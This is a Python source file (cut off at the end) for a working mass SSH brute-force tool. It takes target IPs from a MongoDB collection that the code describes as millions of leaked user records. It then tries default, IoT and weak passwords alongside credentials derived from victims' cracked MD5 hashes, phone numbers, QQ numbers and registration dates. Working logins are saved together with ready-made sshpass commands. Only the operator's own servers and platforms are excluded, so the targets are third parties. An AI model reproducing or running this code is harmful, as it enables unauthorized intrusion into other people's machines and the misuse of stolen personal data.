Files
suanli-juzhen/04_暴力破解/scripts/mongo_smart_brute.py

1208 lines
47 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
"""
MongoDB 智能 SSH 暴力破解器
============================
直接从 KR.分布式矩阵IP_已扫描 读取数据智能匹配凭证实际 SSH 登录验证
核心逻辑
1. MongoDB 查询 SSH 可达 IP
2. 排除自有设备老坑爹/黑科技等自有平台 + 自有基础设施IP
3. SAB 级别优先排序
4. 为每台设备生成适配度凭证列表 OS/SSH版本/设备类型排序
5. 异步高并发 SSH 登录
6. 成功结果写回 MongoDB + 本地文件
用法:
# 默认S级+A级~400台快速验证
python3 mongo_smart_brute.py
# S级+A级+B级全量含6.7万台)
python3 mongo_smart_brute.py --level SAB
# 仅S级
python3 mongo_smart_brute.py --level S
# 指定并发和超时
python3 mongo_smart_brute.py --level SA --concurrency 300 --timeout 8
# 指定最大目标数
python3 mongo_smart_brute.py --level SAB --max-targets 5000
# 试运行(只打印目标列表不实际登录)
python3 mongo_smart_brute.py --dry-run
依赖:
pip install pymongo asyncssh paramiko
"""
import asyncio
import json
import csv
import time
import sys
import os
import argparse
import logging
from datetime import datetime
from pathlib import Path
from dataclasses import dataclass, field, asdict
from typing import Optional
from collections import defaultdict
# 强制 stdout 无缓冲(后台运行时也能实时看到输出)
sys.stdout.reconfigure(line_buffering=True)
sys.stderr.reconfigure(line_buffering=True)
# =====================================================
# 配置
# =====================================================
MONGO_URI = 'mongodb://admin:admin123@localhost:27017/?authSource=admin'
MONGO_DB = 'KR'
MONGO_COLLECTION = '分布式矩阵IP_已扫描'
MONGO_RESULT_COLLECTION = '分布式矩阵IP_已登录' # 成功结果写入的集合
MONGO_USER_COLLECTION = '分布式矩阵IP' # 871万条用户数据表含 username/password/email/phone/qq
# ── 排除列表 ──
# 自有基础设施 IP不攻击
OWN_INFRASTRUCTURE = {
"42.194.232.22", # 小型宝塔
"42.194.245.239", # 存客宝
"43.139.27.93", # kr宝塔
"140.245.37.56", # Oracle VPS
"119.233.228.177", # 家宽出口
"127.0.0.1", # 本机
}
# 自有平台来源这些平台是卡若自己的用户IP不攻击
OWN_PLATFORM_SOURCES = {
"老坑爹论坛www.lkdie.com 会员",
"老坑爹商店 shop.lkdie.com",
"黑科技www.quwanzhi.com 付款邮箱",
# 模糊匹配关键字
}
OWN_PLATFORM_KEYWORDS = ["老坑爹", "黑科技", "lkdie", "quwanzhi"]
# ── 并发配置 ──
DEFAULT_CONCURRENCY = 200
DEFAULT_TIMEOUT = 8
DEFAULT_DELAY = 0.05
# =====================================================
# 按设备类型/OS/SSH版本 的智能凭证排序
# =====================================================
# 凭证优先级:(username, password, priority, note)
# priority 越小越先试
def get_smart_credentials(os_guess, ssh_version="", ssh_banner="", device_type=""):
"""
根据设备信息生成 **适配度排序** 的凭证列表
优先级逻辑
- 匹配该设备类型的默认密码 先试
- 通用高频弱密码 其次
- 扩展弱密码 最后
"""
creds = []
seen = set()
def add(user, pwd, priority, note=""):
key = (user, pwd)
if key not in seen:
seen.add(key)
creds.append((user, pwd, priority, note))
os_lower = (os_guess or "").lower()
banner_lower = (ssh_banner or "").lower()
ver = (ssh_version or "").lower()
# ====== P0: 设备类型精准匹配priority 0-9======
if "centos" in os_lower or "rhel" in os_lower or ("openssh_7.4" in ver or "openssh_7.4" in banner_lower):
# CentOS 7 (OpenSSH 7.4) — 默认允许 root 密码登录
add("root", "root", 0, "CentOS7默认")
add("root", "", 1, "CentOS空密码")
add("root", "123456", 1, "CentOS高频")
add("root", "password", 1, "CentOS高频")
add("root", "admin", 2, "CentOS常见")
add("root", "centos", 2, "CentOS系统名")
add("centos", "centos", 2, "CentOS用户")
add("root", "toor", 3, "root反转")
add("root", "admin123", 3, "常见")
add("root", "1234", 3, "CentOS弱密码")
elif "ubuntu" in os_lower:
add("ubuntu", "ubuntu", 0, "Ubuntu默认")
add("root", "root", 1, "Ubuntu-root")
add("root", "ubuntu", 1, "Ubuntu系统名")
add("root", "password", 2, "Ubuntu弱密码")
add("root", "123456", 2, "Ubuntu弱密码")
add("root", "admin", 2, "常见")
add("root", "admin123", 3, "常见")
elif "debian" in os_lower:
add("root", "root", 0, "Debian默认")
add("debian", "debian", 1, "Debian用户")
add("root", "password", 2, "Debian弱密码")
add("root", "123456", 2, "弱密码")
add("root", "admin", 2, "常见")
elif "嵌入式" in os_lower or "路由器" in os_lower or "dropbear" in banner_lower:
add("admin", "admin", 0, "路由器默认")
add("root", "admin", 0, "嵌入式默认")
add("admin", "", 1, "路由器空密码")
add("root", "root", 1, "嵌入式root")
add("root", "password", 2, "嵌入式弱密码")
add("root", "123456", 2, "弱密码")
add("root", "default", 2, "default")
add("ubnt", "ubnt", 2, "Ubiquiti")
add("root", "ubnt", 2, "Ubiquiti")
add("pi", "raspberry", 2, "树莓派")
add("root", "raspberry", 2, "树莓派")
add("root", "openwrt", 2, "OpenWrt")
add("root", "dietpi", 2, "DietPi")
elif "h3c" in banner_lower or "comware" in banner_lower:
add("admin", "admin", 0, "H3C默认")
add("admin", "admin@h3c", 1, "H3C常见")
add("admin", "h3c", 1, "H3C品牌名")
add("admin", "", 2, "H3C空密码")
add("admin", "123456", 3, "弱密码")
return creds # H3C不适合部署仅尝试少量
elif "huawei" in banner_lower:
add("admin", "Admin@123", 0, "华为默认")
add("admin", "huawei", 1, "华为品牌名")
add("admin", "admin", 2, "通用")
add("admin", "123456", 3, "弱密码")
return creds # 华为设备不适合部署
elif "cisco" in banner_lower:
add("admin", "cisco", 0, "Cisco默认")
add("cisco", "cisco", 1, "Cisco品牌名")
add("admin", "admin", 2, "通用")
return creds # Cisco设备不适合部署
elif "openssh_5" in ver or "openssh_5" in banner_lower:
# 极老版本 — 高概率弱密码
add("root", "root", 0, "极老SSH")
add("root", "", 0, "极老SSH空密码")
add("root", "123456", 0, "极老SSH")
add("root", "password", 0, "极老SSH")
add("root", "admin", 1, "极老SSH")
add("root", "toor", 1, "root反转")
add("root", "test", 2, "测试密码")
add("admin", "admin", 2, "通用")
# 通用Linuxos_guess=Linux/BSD 或 Unknown 但看banner是OpenSSH
if "linux" in os_lower or "bsd" in os_lower:
add("root", "root", 1, "Linux通用")
add("root", "123456", 2, "Linux弱密码")
add("root", "password", 2, "Linux弱密码")
add("root", "admin", 2, "Linux通用")
add("root", "toor", 3, "root反转")
add("admin", "admin", 3, "通用管理员")
# ====== P1: 通用高频弱密码priority 10-19======
generic_top = [
("root", "root", 10),
("root", "", 10),
("root", "123456", 11),
("root", "password", 11),
("root", "admin", 11),
("root", "toor", 12),
("admin", "admin", 12),
("admin", "password", 12),
("admin", "123456", 12),
("admin", "admin123", 13),
("root", "1234", 13),
("root", "12345", 13),
("root", "12345678", 13),
("root", "123456789", 14),
("root", "qwerty", 14),
("root", "letmein", 14),
("root", "test", 14),
("root", "default", 14),
("root", "changeme", 14),
("root", "passw0rd", 15),
("test", "test", 15),
("user", "user", 15),
("user", "password", 15),
("guest", "guest", 15),
]
for u, p, pri in generic_top:
add(u, p, pri, "通用高频")
# ====== P2: 云/VPS/DevOpspriority 20-29======
cloud_creds = [
("root", "calvin", 20),
("root", "vagrant", 20),
("vagrant", "vagrant", 20),
("ubuntu", "ubuntu", 20),
("centos", "centos", 20),
("debian", "debian", 20),
("ec2-user", "", 20),
("root", "alpine", 21),
("root", "docker", 21),
("docker", "docker", 21),
("deploy", "deploy", 21),
("ansible", "ansible", 22),
("jenkins", "jenkins", 22),
("git", "git", 22),
]
for u, p, pri in cloud_creds:
add(u, p, pri, "云/VPS")
# ====== P3: NAS/IoT 扩展priority 30-39======
nas_iot = [
("root", "synology", 30),
("admin", "synology", 30),
("root", "qnap", 30),
("admin", "qnap", 30),
("root", "freenas", 30),
("root", "openmediavault", 31),
("root", "plex", 31),
("pi", "raspberry", 32),
("root", "raspberry", 32),
("root", "dietpi", 32),
("root", "openwrt", 32),
("ubnt", "ubnt", 33),
("root", "ubnt", 33),
("root", "Zte521", 33),
("root", "7ujMko0admin", 33),
("root", "7ujMko0vizxv", 33),
("root", "vizxv", 34),
("root", "xc3511", 34),
]
for u, p, pri in nas_iot:
add(u, p, pri, "NAS/IoT")
# ====== P4: 数据库 / 服务用户priority 40-49======
db_creds = [
("oracle", "oracle", 40),
("postgres", "postgres", 40),
("mysql", "mysql", 40),
("root", "mysql", 41),
("www", "www", 42),
("www-data", "www-data", 42),
("ftpuser", "ftpuser", 42),
]
for u, p, pri in db_creds:
add(u, p, pri, "数据库/服务")
# ====== P5: 扩展弱密码priority 50-59======
extended = [
("root", "1q2w3e", 50),
("root", "1q2w3e4r", 50),
("root", "qwe123", 50),
("root", "abc123", 50),
("root", "111111", 51),
("root", "000000", 51),
("root", "888888", 51),
("root", "666666", 51),
("root", "520520", 51),
("root", "123123", 52),
("root", "iloveyou", 52),
("root", "welcome", 52),
("root", "shadow", 52),
("root", "monkey", 53),
("root", "dragon", 53),
("root", "master", 53),
("root", "superman", 53),
("root", "p@ssw0rd", 54),
("root", "Pa$$w0rd", 54),
("root", "P@ssw0rd", 54),
("admin", "12345678", 55),
("admin", "qwerty", 55),
("admin", "letmein", 55),
]
for u, p, pri in extended:
add(u, p, pri, "扩展弱密码")
# 按 priority 排序
creds.sort(key=lambda x: x[2])
return creds
# =====================================================
# 从数据库用户资料派生 SSH 凭证
# =====================================================
def get_user_derived_credentials(doc):
"""
分布式矩阵IP_已扫描 文档内嵌 users 字段为该 IP 生成专属 SSH 凭证
每个 IP 的凭证因关联用户不同而完全不同
v3.0 升级
- 扩展 MD5 反查表到 Top200+ 常见密码
- 加入注册日期/生日派生yyyyMMdd, yyyy, MMdd
- QQ号/手机号多变体组合
- 用户名智能拆分提取数字部分作密码
- 邮箱前缀深度利用
"""
import hashlib, re
# ═══ 扩展 MD5 反查表Top200+常见密码)═══
_COMMON_PASSWORDS = [
"123456","password","12345678","qwerty","123456789","12345","1234","111111",
"1234567","dragon","123123","baseball","abc123","football","monkey","letmein",
"696969","shadow","master","666666","qwertyuiop","123321","mustang","1234567890",
"michael","654321","pussy","superman","1qaz2wsx","7777777","fuckyou","121212",
"000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm",
"asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger",
"sunshine","iloveyou","fuckme","charlie","robert","thomas","hockey","ranger",
"daniel","starwars","klaster","112233","george","asshole","computer","michelle",
"jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom",
"777777","pass","fuck","maggie","159753","aaaaaa","ginger","princess","joshua",
"cheese","amanda","summer","love","ashley","6969","nicole","chelsea","biteme",
"matthew","access","yankees","987654321","dallas","austin","thunder","taylor",
"matrix","william","corvette","hello","martin","heather","secret","fucker",
"merlin","diamond","1234qwer","gfhjkm","hammer","silver","222222","88888888",
"anthony","justin","test","bailey","q1w2e3r4t5","patrick","internet","scooter",
"orange","11111","golfer","cookie","richard","samantha","bigdog","guitar",
"jackson","whatever","mickey","chicken","sparky","snoopy","maverick","phoenix",
"camaro","sexy","peanut","morgan","welcome","falcon","cowboy","ferrari",
"samsung","andrea","smokey","steelers","joseph","mercedes","dakota","arsenal",
"eagles","melissa","boomer","booboo","spider","nascar","monster","tigers",
"yellow","xxxxxx","123123123","gateway","marina","diablo","bulldog","qwer1234",
"compaq","purple","hardcore","banana","junior","hannah","123654","porsche",
"lakers","iceman","money","cowboys","987654","london","tennis","999999",
"ncc1701","coffee","scooby","0000","miller","boston","q1w2e3r4","fuckoff",
"brandon","yamaha","chester","mother","forever","johnny","edward","333333",
"oliver","redsox","player","nikita","knight","fender","barney","midnight",
"please","brandy","chicago","badboy","iwantu","slayer","rangers","charles",
"angel","flower","bigdaddy","rabbit","wizard","bigdick","jasper","enter",
"rachel","chris","steven","winner","adidas","victoria","natasha","1q2w3e4r",
"jasmine","winter","prince","panties","marine","ghbdtn","fishing","cocacola",
"casper","oscar","gemini","viking","ross","falcon1","dexter","9999",
"butthead","4321","passwd","142536","bubble","wanker","doggie","warrior",
"poopoo","peaches","apples","asdf","buster1","qwerty123","password1","admin",
"root","toor","admin123","root123","test123","guest","oracle","mysql",
"postgres","redis","mongodb","server","linux","ubuntu","centos","debian",
]
# 预计算 MD5 反查表
MD5_REVERSE = {}
for pw in _COMMON_PASSWORDS:
h = hashlib.md5(pw.encode('utf-8')).hexdigest()
MD5_REVERSE[h] = pw
creds = []
seen = set()
def add(user, pwd, priority, note=""):
key = (user, pwd)
if key not in seen and user and pwd and len(user) <= 32 and 1 <= len(pwd) <= 64:
# SSH密码基本规则可打印ASCII
if all(32 <= ord(c) < 127 for c in pwd):
seen.add(key)
creds.append((user, pwd, priority, note))
users = doc.get("users", [])
if not users:
return creds
for u in users:
username = (u.get("username") or "").strip()
email = (u.get("email") or "").strip()
phone = (u.get("phone") or "").strip()
qq = (u.get("qq") or "").strip()
pw_hash = (u.get("password_hash") or "").strip()
salt = (u.get("salt") or "").strip()
source = (u.get("source_col") or "")[:12]
reg_time = u.get("reg_time") # datetime or string
# 提取邮箱前缀
email_prefix = email.split("@")[0] if "@" in email else ""
# 提取用户名中的数字部分(如 lcs123456 → 123456
username_nums = re.findall(r'\d{4,}', username) if username else []
# 提取用户名中的字母部分
username_alpha = re.sub(r'[^a-zA-Z]', '', username) if username else ""
# ═══ 策略1 [P1最高]: MD5无盐哈希反查已知明文200+密码库)═══
if not salt and pw_hash and len(pw_hash) == 32:
plain = MD5_REVERSE.get(pw_hash.lower())
if plain:
add("root", plain, 1, f"MD5反查({source})")
if username and username.isascii():
add(username, plain, 1, f"用户+原始密码({source})")
add("admin", plain, 2, f"admin+原始密码({source})")
# ═══ 策略2 [P2]: 用户名作为SSH凭证 ═══
if username and username.isascii() and 3 <= len(username) <= 20:
add("root", username, 2, f"用户名作密码({source})")
add(username, username, 2, f"同名同密({source})")
# 用户名+常见后缀
for suffix in ["123", "1", "123456", "@123", "!@#", "."]:
add("root", username + suffix, 4, f"用户名+后缀({source})")
add(username, username + suffix, 5, f"同名+后缀({source})")
# 用户名作为SSH用户 + 弱密码
for wp in ["123456", "password", "admin", "1"]:
add(username, wp, 4, f"用户名+弱密码({source})")
# ═══ 策略3 [P2]: QQ号及其变体 ═══
if qq and qq.isdigit() and 5 <= len(qq) <= 12:
add("root", qq, 2, f"QQ号({source})")
add("admin", qq, 3, f"admin+QQ({source})")
# QQ号变体
add("root", qq + "123", 4, f"QQ+123({source})")
add("root", qq + ".", 4, f"QQ+点({source})")
add("root", "qq" + qq, 5, f"qq前缀({source})")
# QQ号作用户名
add(qq, qq, 5, f"QQ同名({source})")
# ═══ 策略4 [P2]: 手机号全方位利用 ═══
if phone and phone.isdigit() and len(phone) >= 11:
add("root", phone, 2, f"手机号({source})")
add("root", phone[-6:], 3, f"手机后6位({source})")
add("root", phone[-8:], 3, f"手机后8位({source})")
add("root", phone[-4:], 4, f"手机后4位({source})")
add("admin", phone, 3, f"admin+手机({source})")
add("root", phone + ".", 4, f"手机+点({source})")
add("root", phone[-6:] + ".", 5, f"手机6+点({source})")
# ═══ 策略5 [P3]: 注册日期/生日派生 ═══
date_str = None
if reg_time:
try:
if hasattr(reg_time, 'strftime'):
dt = reg_time
else:
from datetime import datetime as _dt
dt = _dt.fromisoformat(str(reg_time).replace('Z', '+00:00'))
# 多种日期格式
date_variants = [
dt.strftime("%Y%m%d"), # 20140928
dt.strftime("%Y"), # 2014
dt.strftime("%m%d"), # 0928
dt.strftime("%Y%m"), # 201409
dt.strftime("%d%m%Y"), # 28092014
dt.strftime("%Y-%m-%d"), # 2014-09-28
]
for dv in date_variants:
add("root", dv, 3, f"注册日期({source})")
# 日期+常见后缀
yyyymmdd = dt.strftime("%Y%m%d")
add("root", yyyymmdd + ".", 4, f"日期+点({source})")
add("root", yyyymmdd + "!", 5, f"日期+叹号({source})")
if username and username.isascii():
add(username, yyyymmdd, 4, f"用户名+日期({source})")
except Exception:
pass
# ═══ 策略6 [P3]: 邮箱前缀深度利用 ═══
if email_prefix and email_prefix.isascii() and len(email_prefix) >= 3:
if not email_prefix.isdigit() and "bbs_ml" not in email_prefix:
add("root", email_prefix, 3, f"邮箱前缀({source})")
add(email_prefix, email_prefix, 4, f"邮箱同名({source})")
add(email_prefix, "123456", 5, f"邮箱+弱密码({source})")
add("root", email_prefix + "123", 5, f"邮箱+123({source})")
# ═══ 策略7 [P4]: 用户名中的数字作密码如lcs123456→123456═══
for num in username_nums:
add("root", num, 4, f"用户名数字({source})")
if username_alpha and len(username_alpha) >= 3:
add("root", username_alpha, 5, f"用户名字母({source})")
return creds
# =====================================================
# MongoDB 查询 & 分级
# =====================================================
def is_own_platform(source_cols):
"""判断是否来自自有平台"""
for src in source_cols:
for kw in OWN_PLATFORM_KEYWORDS:
if kw in src:
return True
if src in OWN_PLATFORM_SOURCES:
return True
return False
def query_targets(level="SA", max_targets=0, dry_run=False):
"""
MongoDB 查询目标 SABC 优先级排序
分级逻辑对齐33万IP报告
- S级: ssh_open=True, rdp=False, vnc=False, telnet=False, os_guess{Linux/BSD,Ubuntu,Debian,CentOS}
- A级: ssh_open=True + baota_open=True + 已知Linux
- B级: ssh_open=True, rdp=False, vnc=False, telnet=False, os_guess=Unknown
- C级: ssh_open=True + 多端口
"""
import pymongo
client = pymongo.MongoClient(MONGO_URI)
db = client[MONGO_DB]
coll = db[MONGO_COLLECTION]
targets = []
stats = defaultdict(int)
linux_os_list = ["Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL"]
# 轻量投影:排除 users 大数组(破解时按需取)
light_projection = {"users": 0}
# 全局排除条件:已标记 unreachable/refused/success 的跳过
exclude_status = {
"ssh_brute_status": {"$nin": ["unreachable", "refused", "success"]}
}
# ── S 级纯SSH + 已知Linux ──
if "S" in level.upper():
query_s = {
"ssh_open": True,
"rdp_open": False,
"vnc_open": False,
"telnet_open": False,
"os_guess": {"$in": linux_os_list},
**exclude_status,
}
cursor = coll.find(query_s, light_projection).sort("deploy_score", -1)
for doc in cursor:
if _should_skip(doc):
continue
doc["_grade"] = "S"
doc["_grade_priority"] = 0
targets.append(doc)
stats["S"] += 1
# ── A 级SSH + 宝塔 + 已知Linux ──
if "A" in level.upper():
query_a = {
"ssh_open": True,
"baota_open": True,
"os_guess": {"$in": linux_os_list},
**exclude_status,
}
seen_ips = {t["ip"] for t in targets}
cursor = coll.find(query_a, light_projection).sort("deploy_score", -1)
for doc in cursor:
if doc["ip"] in seen_ips or _should_skip(doc):
continue
doc["_grade"] = "A"
doc["_grade_priority"] = 1
targets.append(doc)
stats["A"] += 1
# ── B 级纯SSH + Unknown OS ──
if "B" in level.upper():
query_b = {
"ssh_open": True,
"rdp_open": False,
"vnc_open": False,
"telnet_open": False,
"os_guess": "Unknown",
**exclude_status,
}
seen_ips = {t["ip"] for t in targets}
# B级数量大按 deploy_score 降序 + ssh_difficulty 升序,加 limit 防内存溢出
b_limit = max_targets * 2 if max_targets > 0 else 10000 # 多取一些,因为有跳过
cursor = coll.find(query_b, light_projection).sort([("deploy_score", -1), ("ssh_difficulty", 1)]).limit(b_limit)
for doc in cursor:
if doc["ip"] in seen_ips or _should_skip(doc):
continue
doc["_grade"] = "B"
doc["_grade_priority"] = 2
targets.append(doc)
stats["B"] += 1
if max_targets > 0 and len(targets) >= max_targets:
break
# ── C 级(可选)──
if "C" in level.upper():
query_c = {
"ssh_open": True,
"rdp_open": True,
"vnc_open": True,
"telnet_open": True,
"baota_open": False, # 排除D级(全开放=蜜罐)
**exclude_status,
}
seen_ips = {t["ip"] for t in targets}
cursor = coll.find(query_c, light_projection).sort("deploy_score", -1).limit(5000)
for doc in cursor:
if doc["ip"] in seen_ips or _should_skip(doc):
continue
doc["_grade"] = "C"
doc["_grade_priority"] = 3
targets.append(doc)
stats["C"] += 1
# 按 grade_priority 排序
targets.sort(key=lambda x: (x.get("_grade_priority", 9), -x.get("deploy_score", 0)))
# 限制数量
if max_targets > 0:
targets = targets[:max_targets]
client.close()
print(f"\n{'='*60}")
print(f" MongoDB 目标查询结果")
print(f" 查询级别: {level}")
print(f"{'='*60}")
for grade, count in sorted(stats.items()):
print(f" {grade}级: {count}")
print(f" 总计: {len(targets)}")
print(f" 排除自有平台: 老坑爹/黑科技")
print(f" 排除自有IP: {len(OWN_INFRASTRUCTURE)}")
print(f"{'='*60}")
return targets
def _should_skip(doc):
"""判断是否应该跳过此IP含历史SSH标记过滤"""
ip = doc.get("ip", "")
# 排除自有IP
if ip in OWN_INFRASTRUCTURE:
return True
# 排除自有平台来源
source_cols = doc.get("source_cols", [])
if is_own_platform(source_cols):
return True
# 排除嵌入式dropbear— 不适合部署
os_guess = doc.get("os_guess", "")
if "嵌入式" in os_guess and doc.get("_grade_priority", 0) == 0:
return True
# ═══ 过滤已标记的 IP历史SSH结果═══
ssh_status = doc.get("ssh_brute_status", "")
if ssh_status in ("unreachable", "refused", "success"):
# unreachable / refused → 已确认不可达,跳过
# success → 已登录成功,无需重复
return True
return False
# =====================================================
# 异步 SSH 暴力破解引擎
# =====================================================
@dataclass
class BruteResult:
ip: str
port: int
username: str
password: str
success: bool
banner: str = ""
os_info: str = ""
grade: str = ""
os_guess: str = ""
ssh_version: str = ""
error: str = ""
timestamp: str = ""
attempt_count: int = 0
class MongoSmartBruter:
"""MongoDB 智能暴力破解器"""
def __init__(self, concurrency=DEFAULT_CONCURRENCY, timeout=DEFAULT_TIMEOUT,
delay=DEFAULT_DELAY, output_dir="./results"):
self.concurrency = concurrency
self.timeout = timeout
self.delay = delay
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
# 统计
self.total_attempts = 0
self.total_hosts = 0
self.success_count = 0
self.fail_count = 0
self.error_count = 0
self.skipped_count = 0
self.start_time = None
# 结果
self.found_creds: list[BruteResult] = []
self.found_ips = set()
# 信号量
self.semaphore = None
self.logger = logging.getLogger("MongoSmartBruter")
async def try_ssh_login(self, ip, port, username, password):
"""SSH登录尝试"""
result = BruteResult(
ip=ip, port=port, username=username, password=password,
success=False, timestamp=datetime.now().isoformat()
)
try:
import asyncssh
async with asyncssh.connect(
ip, port=port,
username=username,
password=password,
known_hosts=None,
login_timeout=self.timeout,
client_keys=[],
kex_algs=["ecdh-sha2-nistp256", "diffie-hellman-group14-sha256",
"diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256",
"diffie-hellman-group1-sha1"],
encryption_algs=["aes128-ctr", "aes256-ctr", "aes128-cbc", "aes256-cbc",
"3des-cbc"],
server_host_key_algs=["ssh-rsa", "rsa-sha2-256", "rsa-sha2-512",
"ecdsa-sha2-nistp256", "ssh-ed25519"],
) as conn:
try:
r = await asyncio.wait_for(
conn.run("uname -a 2>/dev/null || hostname", check=False),
timeout=5
)
result.banner = (r.stdout or "").strip()[:200]
except Exception:
result.banner = "login_ok"
result.success = True
return result
except ImportError:
return await self._try_paramiko(ip, port, username, password, result)
except Exception as e:
ename = type(e).__name__
if "PermissionDenied" in ename or "auth" in str(e).lower():
result.error = "auth_failed"
elif "Timeout" in ename or "timeout" in str(e).lower():
result.error = "timeout"
elif "ConnectionLost" in ename or "ConnectionRefused" in ename:
result.error = "connection_error"
else:
result.error = f"{ename}: {str(e)[:80]}"
return result
async def _try_paramiko(self, ip, port, username, password, result):
"""Paramiko 备选"""
import paramiko
def _connect():
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip, port=port, username=username, password=password,
timeout=self.timeout, allow_agent=False, look_for_keys=False,
banner_timeout=self.timeout, auth_timeout=self.timeout)
try:
_, stdout, _ = client.exec_command("uname -a", timeout=5)
result.banner = stdout.read().decode("utf-8", errors="ignore").strip()[:200]
except Exception:
result.banner = "login_ok"
result.success = True
except paramiko.AuthenticationException:
result.error = "auth_failed"
except Exception as e:
result.error = f"{type(e).__name__}: {str(e)[:80]}"
finally:
client.close()
return result
loop = asyncio.get_event_loop()
return await loop.run_in_executor(None, _connect)
async def brute_single_host(self, doc):
"""对单台主机进行智能破解"""
ip = doc["ip"]
ssh_port = doc.get("ssh_port") or 22
grade = doc.get("_grade", "?")
os_guess = doc.get("os_guess", "Unknown")
ssh_version = doc.get("ssh_version", "")
ssh_banner = doc.get("ssh_banner", "")
if ip in self.found_ips:
return
# 1) 用户数据已在 run() 中预批量加载到 doc["users"]
user_creds = get_user_derived_credentials(doc)
# 2) 按设备类型生成标准凭证
device_creds = get_smart_credentials(os_guess, ssh_version, ssh_banner)
# 3) 合并去重(按 priority 排序设备默认P0-P2先试用户派生P3+补充)
seen_keys = set()
creds = []
for c in device_creds + user_creds:
key = (c[0], c[1])
if key not in seen_keys:
seen_keys.add(key)
creds.append(c)
# 4) 从已扫描记录的 login_suggestions 补充
db_creds = doc.get("login_suggestions", {}).get("ssh", {}).get("try_credentials", [])
for dc in db_creds:
u = dc.get("username", "")
p = dc.get("password", "")
if u and "(hash:" not in p and (u, p) not in seen_keys:
creds.append((u, p, 5, f"DB建议-{dc.get('note', '')}"))
seen_keys.add((u, p))
# 按 priority 排序
creds.sort(key=lambda x: x[2])
attempt_count = 0
host_skipped = False
consecutive_net_errors = 0
user_cred_count = len([c for c in creds if c[2] >= 3])
max_per_host = 50 # 每台主机最多尝试 50 组凭证优先级前50
for username, password, priority, note in creds[:max_per_host]:
if ip in self.found_ips:
break
self.total_attempts += 1
attempt_count += 1
result = await self.try_ssh_login(ip, ssh_port, username, password)
result.grade = grade
result.os_guess = os_guess
result.ssh_version = ssh_version
result.attempt_count = attempt_count
if result.success:
self.success_count += 1
self.found_creds.append(result)
self.found_ips.add(ip)
print(f"\033[92m[+] {grade}级 成功! {ip}:{ssh_port} "
f"{username}:{password} "
f"({os_guess}) 用户凭证:{user_cred_count}"
f"Banner: {result.banner[:50]}\033[0m")
self._save_found(result)
self._write_to_mongo(result, doc)
self._mark_ssh_status(ip, "success", attempt_count, len(creds[:max_per_host]))
break
else:
self.fail_count += 1
if result.error and "auth_failed" in result.error:
# 认证失败=连接正常,重置网络错误计数
consecutive_net_errors = 0
elif result.error:
self.error_count += 1
if "timeout" in result.error or "connection" in result.error:
consecutive_net_errors += 1
if consecutive_net_errors >= 3:
host_skipped = True
self.hosts_skipped = getattr(self, 'hosts_skipped', 0) + 1
break
else:
await asyncio.sleep(0.5)
continue
elif "refused" in result.error.lower():
host_skipped = True
self.hosts_skipped = getattr(self, 'hosts_skipped', 0) + 1
break
if self.delay > 0:
await asyncio.sleep(self.delay)
self.hosts_done = getattr(self, 'hosts_done', 0) + 1
# ═══ 写回 SSH 状态标记到 MongoDB优化后续扫描═══
if ip not in self.found_ips:
if host_skipped and consecutive_net_errors >= 3:
ssh_mark = "unreachable" # SSH端口不可达后续永久跳过
elif host_skipped:
ssh_mark = "refused" # 连接被拒绝
elif attempt_count > 0:
ssh_mark = "auth_failed" # SSH可达但所有凭证失败
else:
ssh_mark = "skipped"
self._mark_ssh_status(ip, ssh_mark, attempt_count, len(creds[:max_per_host]))
# 每处理完 10 台或每 50 次尝试输出进度
if self.hosts_done % 10 == 0 or self.total_attempts % 50 == 0:
self._print_progress()
def _mark_ssh_status(self, ip, status, attempts, total_creds):
"""在 分布式矩阵IP_已扫描 中标记 SSH 尝试状态,优化后续扫描"""
try:
import pymongo
client = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=2000)
client[MONGO_DB][MONGO_COLLECTION].update_one(
{"ip": ip},
{"$set": {
"ssh_brute_status": status, # unreachable/refused/auth_failed/success
"ssh_brute_attempts": attempts, # 实际尝试次数
"ssh_brute_total_creds": total_creds, # 可用凭证数
"ssh_brute_time": datetime.now().isoformat(),
}}
)
client.close()
except Exception:
pass
def _print_progress(self):
elapsed = time.time() - self.start_time
rate = self.total_attempts / elapsed if elapsed > 0 else 0
hosts_done = getattr(self, 'hosts_done', 0)
hosts_skipped = getattr(self, 'hosts_skipped', 0)
total_hosts = getattr(self, 'total_hosts', 0)
print(f"\n[*] 主机: {hosts_done}/{total_hosts} | "
f"尝试: {self.total_attempts} | "
f"成功: {self.success_count} | "
f"跳过: {hosts_skipped} | "
f"错误: {self.error_count} | "
f"速率: {rate:.0f}/s | "
f"耗时: {elapsed:.0f}s", flush=True)
def _save_found(self, result: BruteResult):
"""保存到本地文件"""
# JSON
json_path = self.output_dir / "found_credentials.json"
data = []
if json_path.exists():
try:
data = json.loads(json_path.read_text())
except Exception:
data = []
data.append(asdict(result))
json_path.write_text(json.dumps(data, indent=2, ensure_ascii=False))
# CSV
csv_path = self.output_dir / "found_credentials.csv"
write_header = not csv_path.exists()
with open(csv_path, "a", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
if write_header:
writer.writerow(["grade", "ip", "port", "username", "password",
"os_guess", "ssh_version", "banner", "attempts", "timestamp"])
writer.writerow([result.grade, result.ip, result.port, result.username,
result.password, result.os_guess, result.ssh_version,
result.banner, result.attempt_count, result.timestamp])
def _write_to_mongo(self, result: BruteResult, original_doc):
"""成功结果写回 MongoDB"""
try:
import pymongo
client = pymongo.MongoClient(MONGO_URI)
db = client[MONGO_DB]
# 写入已登录集合
login_doc = {
"ip": result.ip,
"port": result.port,
"username": result.username,
"password": result.password,
"banner": result.banner,
"grade": result.grade,
"os_guess": result.os_guess,
"ssh_version": result.ssh_version,
"attempt_count": result.attempt_count,
"login_time": datetime.now(),
"deploy_score": original_doc.get("deploy_score", 0),
"source_cols": original_doc.get("source_cols", []),
"user_count": original_doc.get("user_count", 0),
"quick_ssh_cmd": f"sshpass -p '{result.password}' ssh -o StrictHostKeyChecking=no {result.username}@{result.ip} -p {result.port}",
}
db[MONGO_RESULT_COLLECTION].update_one(
{"ip": result.ip},
{"$set": login_doc},
upsert=True
)
# 更新已扫描集合的状态
db[MONGO_COLLECTION].update_one(
